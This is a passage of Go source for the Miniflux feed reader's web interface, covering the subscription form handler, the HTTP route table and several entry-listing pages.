subscriptionForm.BlockFilterEntryRules,\n\t\tFetchViaProxy:               subscriptionForm.FetchViaProxy,\n\t\tDisableHTTP2:                subscriptionForm.DisableHTTP2,\n\t\tProxyURL:                    subscriptionForm.ProxyURL,\n\t})\n\tif localizedError != nil {\n\t\tview.Set(\"form\", subscriptionForm)\n\t\tview.Set(\"errorMessage\", localizedError.Translate(user.Language))\n\t\tresponse.HTML(w, r, view.Render(\"add_subscription\"))\n\t\treturn\n\t}\n\n\tresponse.HTMLRedirect(w, r, h.routePath(\"/feed/%d/entries\", feed.ID))\n}\n"
  },
  {
    "path": "internal/ui/subscription_submit.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/locale\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/proxyrotator\"\n\t\"miniflux.app/v2/internal/reader/fetcher\"\n\tfeedHandler \"miniflux.app/v2/internal/reader/handler\"\n\t\"miniflux.app/v2/internal/reader/subscription\"\n\t\"miniflux.app/v2/internal/ui/form\"\n\t\"miniflux.app/v2/internal/ui/session\"\n\t\"miniflux.app/v2/internal/ui/view\"\n)\n\nfunc (h *handler) submitSubscription(w http.ResponseWriter, r *http.Request) {\n\tuser, err := h.store.UserByID(request.UserID(r))\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tcategories, err := h.store.Categories(user.ID)\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tsess := session.New(h.store, request.SessionID(r))\n\tv := view.New(h.tpl, r, sess)\n\tv.Set(\"categories\", categories)\n\tv.Set(\"menu\", \"feeds\")\n\tv.Set(\"user\", user)\n\tv.Set(\"countUnread\", h.store.CountUnreadEntries(user.ID))\n\tv.Set(\"countErrorFeeds\", h.store.CountUserFeedsWithErrors(user.ID))\n\tv.Set(\"defaultUserAgent\", config.Opts.HTTPClientUserAgent())\n\tv.Set(\"hasProxyConfigured\", config.Opts.HasHTTPClientProxyURLConfigured())\n\n\tsubscriptionForm := form.NewSubscriptionForm(r)\n\tif validationErr := subscriptionForm.Validate(); validationErr != nil {\n\t\tv.Set(\"form\", subscriptionForm)\n\t\tv.Set(\"errorMessage\", validationErr.Translate(user.Language))\n\t\tresponse.HTML(w, r, v.Render(\"add_subscription\"))\n\t\treturn\n\t}\n\n\tvar rssBridgeURL string\n\tvar rssBridgeToken string\n\tif intg, err := h.store.Integration(user.ID); err == nil && intg != nil && intg.RSSBridgeEnabled {\n\t\trssBridgeURL = intg.RSSBridgeURL\n\t\trssBridgeToken = intg.RSSBridgeToken\n\t}\n\n\trequestBuilder := fetcher.NewRequestBuilder()\n\trequestBuilder.WithTimeout(config.Opts.HTTPClientTimeout())\n\trequestBuilder.WithProxyRotator(proxyrotator.ProxyRotatorInstance)\n\trequestBuilder.WithCustomFeedProxyURL(subscriptionForm.ProxyURL)\n\trequestBuilder.WithCustomApplicationProxyURL(config.Opts.HTTPClientProxyURL())\n\trequestBuilder.UseCustomApplicationProxyURL(subscriptionForm.FetchViaProxy)\n\trequestBuilder.WithUserAgent(subscriptionForm.UserAgent, config.Opts.HTTPClientUserAgent())\n\trequestBuilder.WithCookie(subscriptionForm.Cookie)\n\trequestBuilder.WithUsernameAndPassword(subscriptionForm.Username, subscriptionForm.Password)\n\trequestBuilder.IgnoreTLSErrors(subscriptionForm.AllowSelfSignedCertificates)\n\trequestBuilder.DisableHTTP2(subscriptionForm.DisableHTTP2)\n\n\tsubscriptionFinder := subscription.NewSubscriptionFinder(requestBuilder)\n\tsubscriptions, localizedError := subscriptionFinder.FindSubscriptions(\n\t\tsubscriptionForm.URL,\n\t\trssBridgeURL,\n\t\trssBridgeToken,\n\t)\n\tif localizedError != nil {\n\t\tv.Set(\"form\", subscriptionForm)\n\t\tv.Set(\"errorMessage\", localizedError.Translate(user.Language))\n\t\tresponse.HTML(w, r, v.Render(\"add_subscription\"))\n\t\treturn\n\t}\n\n\tn := len(subscriptions)\n\tswitch {\n\tcase n == 0:\n\t\tv.Set(\"form\", subscriptionForm)\n\t\tv.Set(\"errorMessage\", locale.NewLocalizedError(\"error.subscription_not_found\").Translate(user.Language))\n\t\tresponse.HTML(w, r, v.Render(\"add_subscription\"))\n\tcase n == 1 && subscriptionFinder.IsFeedAlreadyDownloaded():\n\t\tfeed, localizedError := feedHandler.CreateFeedFromSubscriptionDiscovery(h.store, user.ID, &model.FeedCreationRequestFromSubscriptionDiscovery{\n\t\t\tContent:      subscriptionFinder.FeedResponseInfo().Content,\n\t\t\tETag:         subscriptionFinder.FeedResponseInfo().ETag,\n\t\t\tLastModified: subscriptionFinder.FeedResponseInfo().LastModified,\n\t\t\tFeedCreationRequest: model.FeedCreationRequest{\n\t\t\t\tCategoryID:                  subscriptionForm.CategoryID,\n\t\t\t\tFeedURL:                     subscriptions[0].URL,\n\t\t\t\tAllowSelfSignedCertificates: subscriptionForm.AllowSelfSignedCertificates,\n\t\t\t\tCrawler:                     subscriptionForm.Crawler,\n\t\t\t\tIgnoreEntryUpdates:          subscriptionForm.IgnoreEntryUpdates,\n\t\t\t\tUserAgent:                   subscriptionForm.UserAgent,\n\t\t\t\tCookie:                      subscriptionForm.Cookie,\n\t\t\t\tUsername:                    subscriptionForm.Username,\n\t\t\t\tPassword:                    subscriptionForm.Password,\n\t\t\t\tScraperRules:                subscriptionForm.ScraperRules,\n\t\t\t\tRewriteRules:                subscriptionForm.RewriteRules,\n\t\t\t\tUrlRewriteRules:             subscriptionForm.UrlRewriteRules,\n\t\t\t\tBlocklistRules:              subscriptionForm.BlocklistRules,\n\t\t\t\tKeeplistRules:               subscriptionForm.KeeplistRules,\n\t\t\t\tKeepFilterEntryRules:        subscriptionForm.KeepFilterEntryRules,\n\t\t\t\tBlockFilterEntryRules:       subscriptionForm.BlockFilterEntryRules,\n\t\t\t\tFetchViaProxy:               subscriptionForm.FetchViaProxy,\n\t\t\t\tDisableHTTP2:                subscriptionForm.DisableHTTP2,\n\t\t\t\tProxyURL:                    subscriptionForm.ProxyURL,\n\t\t\t},\n\t\t})\n\t\tif localizedError != nil {\n\t\t\tv.Set(\"form\", subscriptionForm)\n\t\t\tv.Set(\"errorMessage\", localizedError.Translate(user.Language))\n\t\t\tresponse.HTML(w, r, v.Render(\"add_subscription\"))\n\t\t\treturn\n\t\t}\n\n\t\tresponse.HTMLRedirect(w, r, h.routePath(\"/feed/%d/entries\", feed.ID))\n\tcase n == 1 && !subscriptionFinder.IsFeedAlreadyDownloaded():\n\t\tfeed, localizedError := feedHandler.CreateFeed(h.store, user.ID, &model.FeedCreationRequest{\n\t\t\tCategoryID:                  subscriptionForm.CategoryID,\n\t\t\tFeedURL:                     subscriptions[0].URL,\n\t\t\tCrawler:                     subscriptionForm.Crawler,\n\t\t\tIgnoreEntryUpdates:          subscriptionForm.IgnoreEntryUpdates,\n\t\t\tAllowSelfSignedCertificates: subscriptionForm.AllowSelfSignedCertificates,\n\t\t\tUserAgent:                   subscriptionForm.UserAgent,\n\t\t\tCookie:                      subscriptionForm.Cookie,\n\t\t\tUsername:                    subscriptionForm.Username,\n\t\t\tPassword:                    subscriptionForm.Password,\n\t\t\tScraperRules:                subscriptionForm.ScraperRules,\n\t\t\tRewriteRules:                subscriptionForm.RewriteRules,\n\t\t\tUrlRewriteRules:             subscriptionForm.UrlRewriteRules,\n\t\t\tBlocklistRules:              subscriptionForm.BlocklistRules,\n\t\t\tKeeplistRules:               subscriptionForm.KeeplistRules,\n\t\t\tKeepFilterEntryRules:        subscriptionForm.KeepFilterEntryRules,\n\t\t\tBlockFilterEntryRules:       subscriptionForm.BlockFilterEntryRules,\n\t\t\tFetchViaProxy:               subscriptionForm.FetchViaProxy,\n\t\t\tDisableHTTP2:                subscriptionForm.DisableHTTP2,\n\t\t\tProxyURL:                    subscriptionForm.ProxyURL,\n\t\t})\n\t\tif localizedError != nil {\n\t\t\tv.Set(\"form\", subscriptionForm)\n\t\t\tv.Set(\"errorMessage\", localizedError.Translate(user.Language))\n\t\t\tresponse.HTML(w, r, v.Render(\"add_subscription\"))\n\t\t\treturn\n\t\t}\n\n\t\tresponse.HTMLRedirect(w, r, h.routePath(\"/feed/%d/entries\", feed.ID))\n\tcase n > 1:\n\t\tview := view.New(h.tpl, r, sess)\n\t\tview.Set(\"subscriptions\", subscriptions)\n\t\tview.Set(\"form\", subscriptionForm)\n\t\tview.Set(\"menu\", \"feeds\")\n\t\tview.Set(\"user\", user)\n\t\tview.Set(\"countUnread\", h.store.CountUnreadEntries(user.ID))\n\t\tview.Set(\"countErrorFeeds\", h.store.CountUserFeedsWithErrors(user.ID))\n\t\tview.Set(\"hasProxyConfigured\", config.Opts.HasHTTPClientProxyURLConfigured())\n\n\t\tresponse.HTML(w, r, view.Render(\"choose_subscription\"))\n\t}\n}\n"
  },
  {
    "path": "internal/ui/tag_entries_all.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\t\"net/url\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/ui/session\"\n\t\"miniflux.app/v2/internal/ui/view\"\n)\n\nfunc (h *handler) showTagEntriesAllPage(w http.ResponseWriter, r *http.Request) {\n\tuser, err := h.store.UserByID(request.UserID(r))\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\ttagName, err := url.PathUnescape(request.RouteStringParam(r, \"tagName\"))\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\toffset := request.QueryIntParam(r, \"offset\", 0)\n\tbuilder := h.store.NewEntryQueryBuilder(user.ID)\n\tbuilder.WithoutStatus(model.EntryStatusRemoved)\n\tbuilder.WithTags([]string{tagName})\n\tbuilder.WithSorting(\"status\", \"asc\")\n\tbuilder.WithSorting(user.EntryOrder, user.EntryDirection)\n\tbuilder.WithSorting(\"id\", user.EntryDirection)\n\tbuilder.WithOffset(offset)\n\tbuilder.WithLimit(user.EntriesPerPage)\n\n\tentries, err := builder.GetEntries()\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tcount, err := builder.CountEntries()\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tsess := session.New(h.store, request.SessionID(r))\n\tview := view.New(h.tpl, r, sess)\n\tview.Set(\"tagName\", tagName)\n\tview.Set(\"total\", count)\n\tview.Set(\"entries\", entries)\n\tview.Set(\"pagination\", getPagination(h.routePath(\"/tags/%s/entries/all\", url.PathEscape(tagName)), count, offset, user.EntriesPerPage))\n\tview.Set(\"user\", user)\n\tview.Set(\"countUnread\", h.store.CountUnreadEntries(user.ID))\n\tview.Set(\"countErrorFeeds\", h.store.CountUserFeedsWithErrors(user.ID))\n\tview.Set(\"hasSaveEntry\", h.store.HasSaveEntry(user.ID))\n\tview.Set(\"showOnlyUnreadEntries\", false)\n\n\tresponse.HTML(w, r, view.Render(\"tag_entries\"))\n}\n"
  },
  {
    "path": "internal/ui/ui.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/storage\"\n\t\"miniflux.app/v2/internal/template\"\n\t\"miniflux.app/v2/internal/worker\"\n)\n\n// Serve returns an http.Handler that serves the user interface.\n// The returned handler expects the base path to be stripped from the request URL.\nfunc Serve(store *storage.Storage, pool *worker.Pool) http.Handler {\n\tbasePath := config.Opts.BasePath()\n\tmiddleware := newMiddleware(basePath, store)\n\n\ttemplateEngine := template.NewEngine(basePath)\n\ttemplateEngine.ParseTemplates()\n\n\thandler := &handler{basePath, store, templateEngine, pool}\n\n\tmux := http.NewServeMux()\n\n\t// Static assets.\n\tmux.HandleFunc(\"GET /stylesheets/{filename}\", handler.showStylesheet)\n\tmux.HandleFunc(\"GET /{filename}\", handler.showJavascript)\n\tmux.HandleFunc(\"GET /favicon.ico\", handler.showFavicon)\n\tmux.HandleFunc(\"GET /icon/{filename}\", handler.showAppIcon)\n\tmux.HandleFunc(\"GET /manifest.json\", handler.showWebManifest)\n\n\t// New subscription pages.\n\tmux.HandleFunc(\"GET /subscribe\", handler.showAddSubscriptionPage)\n\tmux.HandleFunc(\"POST /subscribe\", handler.submitSubscription)\n\tmux.HandleFunc(\"POST /subscriptions\", handler.showChooseSubscriptionPage)\n\tmux.HandleFunc(\"GET /bookmarklet\", handler.bookmarklet)\n\n\t// Unread page.\n\tmux.HandleFunc(\"POST /mark-all-as-read\", handler.markAllAsRead)\n\tmux.HandleFunc(\"GET /unread\", handler.showUnreadPage)\n\tmux.HandleFunc(\"GET /unread/entry/{entryID}\", handler.showUnreadEntryPage)\n\n\t// History pages.\n\tmux.HandleFunc(\"GET /history\", handler.showHistoryPage)\n\tmux.HandleFunc(\"GET /history/entry/{entryID}\", handler.showReadEntryPage)\n\tmux.HandleFunc(\"POST /history/flush\", handler.flushHistory)\n\n\t// Starred pages.\n\tmux.HandleFunc(\"GET /starred\", handler.showStarredPage)\n\tmux.HandleFunc(\"GET /starred/entry/{entryID}\", handler.showStarredEntryPage)\n\n\t// Search pages.\n\tmux.HandleFunc(\"GET /search\", handler.showSearchPage)\n\tmux.HandleFunc(\"GET /search/entry/{entryID}\", handler.showSearchEntryPage)\n\n\t// Feed listing pages.\n\tmux.HandleFunc(\"GET /feeds\", handler.showFeedsPage)\n\tmux.HandleFunc(\"GET /feeds/refresh\", handler.refreshAllFeeds)\n\n\t// Individual feed pages.\n\tmux.HandleFunc(\"GET /feed/{feedID}/refresh\", handler.refreshFeed)\n\tmux.HandleFunc(\"POST /feed/{feedID}/refresh\", handler.refreshFeed)\n\tmux.HandleFunc(\"GET /feed/{feedID}/edit\", handler.showEditFeedPage)\n\tmux.HandleFunc(\"POST /feed/{feedID}/remove\", handler.removeFeed)\n\tmux.HandleFunc(\"POST /feed/{feedID}/update\", handler.updateFeed)\n\tmux.HandleFunc(\"GET /feed/{feedID}/entries\", handler.showFeedEntriesPage)\n\tmux.HandleFunc(\"GET /feed/{feedID}/entries/all\", handler.showFeedEntriesAllPage)\n\tmux.HandleFunc(\"GET /feed/{feedID}/entry/{entryID}\", handler.showFeedEntryPage)\n\tmux.HandleFunc(\"GET /unread/feed/{feedID}/entry/{entryID}\", handler.showUnreadFeedEntryPage)\n\tmux.HandleFunc(\"POST /feed/{feedID}/mark-all-as-read\", handler.markFeedAsRead)\n\tmux.HandleFunc(\"GET /feed-icon/{externalIconID}\", handler.showFeedIcon)\n\n\t// Category pages.\n\tmux.HandleFunc(\"GET /category/{categoryID}/entry/{entryID}\", handler.showCategoryEntryPage)\n\tmux.HandleFunc(\"GET /unread/category/{categoryID}/entry/{entryID}\", handler.showUnreadCategoryEntryPage)\n\tmux.HandleFunc(\"GET /starred/category/{categoryID}/entry/{entryID}\", handler.showStarredCategoryEntryPage)\n\tmux.HandleFunc(\"GET /categories\", handler.showCategoryListPage)\n\tmux.HandleFunc(\"GET /category/create\", handler.showCreateCategoryPage)\n\tmux.HandleFunc(\"POST /category/save\", handler.saveCategory)\n\tmux.HandleFunc(\"GET /category/{categoryID}/feeds\", handler.showCategoryFeedsPage)\n\tmux.HandleFunc(\"POST /category/{categoryID}/feed/{feedID}/remove\", handler.removeCategoryFeed)\n\tmux.HandleFunc(\"GET /category/{categoryID}/feeds/refresh\", handler.refreshCategoryFeedsPage)\n\tmux.HandleFunc(\"GET /category/{categoryID}/entries\", handler.showCategoryEntriesPage)\n\tmux.HandleFunc(\"GET /category/{categoryID}/entries/refresh\", handler.refreshCategoryEntriesPage)\n\tmux.HandleFunc(\"GET /category/{categoryID}/entries/all\", handler.showCategoryEntriesAllPage)\n\tmux.HandleFunc(\"GET /category/{categoryID}/entries/starred\", handler.showCategoryEntriesStarredPage)\n\tmux.HandleFunc(\"GET /category/{categoryID}/edit\", handler.showEditCategoryPage)\n\tmux.HandleFunc(\"POST /category/{categoryID}/update\", handler.updateCategory)\n\tmux.HandleFunc(\"POST /category/{categoryID}/remove\", handler.removeCategory)\n\tmux.HandleFunc(\"POST /category/{categoryID}/mark-all-as-read\", handler.markCategoryAsRead)\n\n\t// Tag pages.\n\tmux.HandleFunc(\"GET /tags/{tagName}/entries/all\", handler.showTagEntriesAllPage)\n\tmux.HandleFunc(\"GET /tags/{tagName}/entry/{entryID}\", handler.showTagEntryPage)\n\n\t// Entry pages.\n\tmux.HandleFunc(\"POST /entry/status\", handler.updateEntriesStatus)\n\tmux.HandleFunc(\"POST /entry/save/{entryID}\", handler.saveEntry)\n\tmux.HandleFunc(\"POST /entry/enclosure/{enclosureID}/save-progression\", handler.saveEnclosureProgression)\n\tmux.HandleFunc(\"POST /entry/download/{entryID}\", handler.fetchContent)\n\tmux.HandleFunc(\"POST /entry/star/{entryID}\", handler.toggleStarred)\n\n\t// Media proxy.\n\tmux.HandleFunc(\"GET /proxy/{encodedDigest}/{encodedURL}\", handler.mediaProxy)\n\n\t// Share pages.\n\tmux.HandleFunc(\"POST /entry/share/{entryID}\", handler.createSharedEntry)\n\tmux.HandleFunc(\"POST /entry/unshare/{entryID}\", handler.unshareEntry)\n\tmux.HandleFunc(\"GET /share/{shareCode}\", handler.sharedEntry)\n\tmux.HandleFunc(\"GET /shares\", handler.sharedEntries)\n\n\t// User pages.\n\tmux.HandleFunc(\"GET /users\", handler.showUsersPage)\n\tmux.HandleFunc(\"GET /user/create\", handler.showCreateUserPage)\n\tmux.HandleFunc(\"POST /user/save\", handler.saveUser)\n\tmux.HandleFunc(\"GET /users/{userID}/edit\", handler.showEditUserPage)\n\tmux.HandleFunc(\"POST /users/{userID}/update\", handler.updateUser)\n\tmux.HandleFunc(\"POST /users/{userID}/remove\", handler.removeUser)\n\n\t// Settings pages.\n\tmux.HandleFunc(\"GET /settings\", handler.showSettingsPage)\n\tmux.HandleFunc(\"POST /settings\", handler.updateSettings)\n\tmux.HandleFunc(\"GET /integrations\", handler.showIntegrationPage)\n\tmux.HandleFunc(\"POST /integration\", handler.updateIntegration)\n\tmux.HandleFunc(\"GET /about\", handler.showAboutPage)\n\n\t// Session pages.\n\tmux.HandleFunc(\"GET /sessions\", handler.showSessionsPage)\n\tmux.HandleFunc(\"POST /sessions/{sessionID}/remove\", handler.removeSession)\n\n\t// API Keys pages.\n\tif config.Opts.HasAPI() {\n\t\tmux.HandleFunc(\"GET /keys\", handler.showAPIKeysPage)\n\t\tmux.HandleFunc(\"POST /keys/{keyID}/delete\", handler.deleteAPIKey)\n\t\tmux.HandleFunc(\"GET /keys/create\", handler.showCreateAPIKeyPage)\n\t\tmux.HandleFunc(\"POST /keys/save\", handler.saveAPIKey)\n\t}\n\n\t// OPML pages.\n\tmux.HandleFunc(\"GET /export\", handler.exportFeeds)\n\tmux.HandleFunc(\"GET /import\", handler.showImportPage)\n\tmux.HandleFunc(\"POST /upload\", handler.uploadOPML)\n\tmux.HandleFunc(\"POST /fetch\", handler.fetchOPML)\n\n\t// OAuth2 flow.\n\tif config.Opts.OAuth2Provider() != \"\" {\n\t\tmux.HandleFunc(\"GET /oauth2/{provider}/unlink\", handler.oauth2Unlink)\n\t\tmux.HandleFunc(\"GET /oauth2/{provider}/redirect\", handler.oauth2Redirect)\n\t\tmux.HandleFunc(\"GET /oauth2/{provider}/callback\", handler.oauth2Callback)\n\t}\n\n\t// Offline page.\n\tmux.HandleFunc(\"GET /offline\", handler.showOfflinePage)\n\n\t// Authentication pages.\n\tmux.HandleFunc(\"POST /login\", handler.checkLogin)\n\tmux.HandleFunc(\"GET /logout\", handler.logout)\n\tmux.Handle(\"GET /{$}\", middleware.handleAuthProxy(http.HandlerFunc(handler.showLoginPage)))\n\n\t// WebAuthn flow.\n\tif config.Opts.WebAuthn() {\n\t\tmux.HandleFunc(\"GET /webauthn/register/begin\", handler.beginRegistration)\n\t\tmux.HandleFunc(\"POST /webauthn/register/finish\", handler.finishRegistration)\n\t\tmux.HandleFunc(\"GET /webauthn/login/begin\", handler.beginLogin)\n\t\tmux.HandleFunc(\"POST /webauthn/login/finish\", handler.finishLogin)\n\t\tmux.HandleFunc(\"POST /webauthn/deleteall\", handler.deleteAllCredentials)\n\t\tmux.HandleFunc(\"POST /webauthn/{credentialHandle}/delete\", handler.deleteCredential)\n\t\tmux.HandleFunc(\"GET /webauthn/{credentialHandle}/rename\", handler.renameCredential)\n\t\tmux.HandleFunc(\"POST /webauthn/{credentialHandle}/save\", handler.saveCredential)\n\t}\n\n\t// robots.txt\n\tmux.HandleFunc(\"GET /robots.txt\", func(w http.ResponseWriter, r *http.Request) {\n\t\tw.Header().Set(\"Content-Type\", \"text/plain\")\n\t\tw.Write([]byte(\"User-agent: *\\nDisallow: /\"))\n\t})\n\n\t// Apply middleware chain: user session then app session.\n\treturn middleware.handleUserSession(middleware.handleAppSession(mux))\n}\n"
  },
  {
    "path": "internal/ui/unread_entries.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/ui/session\"\n\t\"miniflux.app/v2/internal/ui/view\"\n)\n\nfunc (h *handler) showUnreadPage(w http.ResponseWriter, r *http.Request) {\n\tuser, err := h.store.UserByID(request.UserID(r))\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\toffset := request.QueryIntParam(r, \"offset\", 0)\n\tbuilder := h.store.NewEntryQueryBuilder(user.ID)\n\tbuilder.WithStatus(model.EntryStatusUnread)\n\tbuilder.WithGloballyVisible()\n\tcountUnread, err := builder.CountEntries()\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tif offset >= countUnread {\n\t\toffset = 0\n\t}\n\n\tbuilder = h.store.NewEntryQueryBuilder(user.ID)\n\tbuilder.WithStatus(model.EntryStatusUnread)\n\tbuilder.WithSorting(user.EntryOrder, user.EntryDirection)\n\tbuilder.WithSorting(\"id\", user.EntryDirection)\n\tbuilder.WithOffset(offset)\n\tbuilder.WithLimit(user.EntriesPerPage)\n\tbuilder.WithGloballyVisible()\n\tentries, err := builder.GetEntries()\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tsess := session.New(h.store, request.SessionID(r))\n\tview := view.New(h.tpl, r, sess)\n\tview.Set(\"entries\", entries)\n\tview.Set(\"pagination\", getPagination(h.routePath(\"/unread\"), countUnread, offset, user.EntriesPerPage))\n\tview.Set(\"menu\", \"unread\")\n\tview.Set(\"user\", user)\n\tview.Set(\"countUnread\", countUnread)\n\tview.Set(\"countErrorFeeds\", h.store.CountUserFeedsWithErrors(user.ID))\n\tview.Set(\"hasSaveEntry\", h.store.HasSaveEntry(user.ID))\n\n\tresponse.HTML(w, r, view.Render(\"unread_entries\"))\n}\n"
  },
  {
    "path": "internal/ui/unread_entry_category.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/storage\"\n\t\"miniflux.app/v2/internal/ui/session\"\n\t\"miniflux.app/v2/internal/ui/view\"\n)\n\nfunc (h *handler) showUnreadCategoryEntryPage(w http.ResponseWriter, r *http.Request) {\n\tuser, err := h.store.UserByID(request.UserID(r))\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tcategoryID := request.RouteInt64Param(r, \"categoryID\")\n\tentryID := request.RouteInt64Param(r, \"entryID\")\n\n\tbuilder := h.store.NewEntryQueryBuilder(user.ID)\n\tbuilder.WithCategoryID(categoryID)\n\tbuilder.WithEntryID(entryID)\n\tbuilder.WithoutStatus(model.EntryStatusRemoved)\n\n\tentry, err := builder.GetEntry()\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tif entry == nil {\n\t\tresponse.HTMLNotFound(w, r)\n\t\treturn\n\t}\n\n\tif entry.ShouldMarkAsReadOnView(user) {\n\t\terr = h.store.SetEntriesStatus(user.ID, []int64{entry.ID}, model.EntryStatusRead)\n\t\tif err != nil {\n\t\t\tresponse.HTMLServerError(w, r, err)\n\t\t\treturn\n\t\t}\n\n\t\tentry.Status = model.EntryStatusRead\n\t}\n\n\tentryPaginationBuilder := storage.NewEntryPaginationBuilder(h.store, user.ID, entry.ID, user.EntryOrder, user.EntryDirection)\n\tentryPaginationBuilder.WithCategoryID(categoryID)\n\tentryPaginationBuilder.WithStatus(model.EntryStatusUnread)\n\n\tif entry.Status == model.EntryStatusRead {\n\t\terr = h.store.SetEntriesStatus(user.ID, []int64{entry.ID}, model.EntryStatusUnread)\n\t\tif err != nil {\n\t\t\tresponse.HTMLServerError(w, r, err)\n\t\t\treturn\n\t\t}\n\t}\n\n\tprevEntry, nextEntry, err := entryPaginationBuilder.Entries()\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tnextEntryRoute := \"\"\n\tif nextEntry != nil {\n\t\tnextEntryRoute = h.routePath(\"/unread/category/%d/entry/%d\", categoryID, nextEntry.ID)\n\t}\n\n\tprevEntryRoute := \"\"\n\tif prevEntry != nil {\n\t\tprevEntryRoute = h.routePath(\"/unread/category/%d/entry/%d\", categoryID, prevEntry.ID)\n\t}\n\n\t// Restore entry read status if needed after fetching the pagination.\n\tif entry.Status == model.EntryStatusRead {\n\t\terr = h.store.SetEntriesStatus(user.ID, []int64{entry.ID}, model.EntryStatusRead)\n\t\tif err != nil {\n\t\t\tresponse.HTMLServerError(w, r, err)\n\t\t\treturn\n\t\t}\n\t}\n\n\tif user.AlwaysOpenExternalLinks {\n\t\tresponse.HTMLRedirect(w, r, entry.URL)\n\t\treturn\n\t}\n\n\tsess := session.New(h.store, request.SessionID(r))\n\tview := view.New(h.tpl, r, sess)\n\tview.Set(\"entry\", entry)\n\tview.Set(\"prevEntry\", prevEntry)\n\tview.Set(\"nextEntry\", nextEntry)\n\tview.Set(\"nextEntryRoute\", nextEntryRoute)\n\tview.Set(\"prevEntryRoute\", prevEntryRoute)\n\tview.Set(\"menu\", \"categories\")\n\tview.Set(\"user\", user)\n\tview.Set(\"countUnread\", h.store.CountUnreadEntries(user.ID))\n\tview.Set(\"countErrorFeeds\", h.store.CountUserFeedsWithErrors(user.ID))\n\tview.Set(\"hasSaveEntry\", h.store.HasSaveEntry(user.ID))\n\n\tresponse.HTML(w, r, view.Render(\"entry\"))\n}\n"
  },
  {
    "path": "internal/ui/unread_entry_feed.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/storage\"\n\t\"miniflux.app/v2/internal/ui/session\"\n\t\"miniflux.app/v2/internal/ui/view\"\n)\n\nfunc (h *handler) showUnreadFeedEntryPage(w http.ResponseWriter, r *http.Request) {\n\tuser, err := h.store.UserByID(request.UserID(r))\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tentryID := request.RouteInt64Param(r, \"entryID\")\n\tfeedID := request.RouteInt64Param(r, \"feedID\")\n\n\tbuilder := h.store.NewEntryQueryBuilder(user.ID)\n\tbuilder.WithFeedID(feedID)\n\tbuilder.WithEntryID(entryID)\n\tbuilder.WithoutStatus(model.EntryStatusRemoved)\n\n\tentry, err := builder.GetEntry()\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tif entry == nil {\n\t\tresponse.HTMLNotFound(w, r)\n\t\treturn\n\t}\n\n\tif entry.ShouldMarkAsReadOnView(user) {\n\t\terr = h.store.SetEntriesStatus(user.ID, []int64{entry.ID}, model.EntryStatusRead)\n\t\tif err != nil {\n\t\t\tresponse.HTMLServerError(w, r, err)\n\t\t\treturn\n\t\t}\n\n\t\tentry.Status = model.EntryStatusRead\n\t}\n\n\tentryPaginationBuilder := storage.NewEntryPaginationBuilder(h.store, user.ID, entry.ID, user.EntryOrder, user.EntryDirection)\n\tentryPaginationBuilder.WithFeedID(feedID)\n\tentryPaginationBuilder.WithStatus(model.EntryStatusUnread)\n\n\tif entry.Status == model.EntryStatusRead 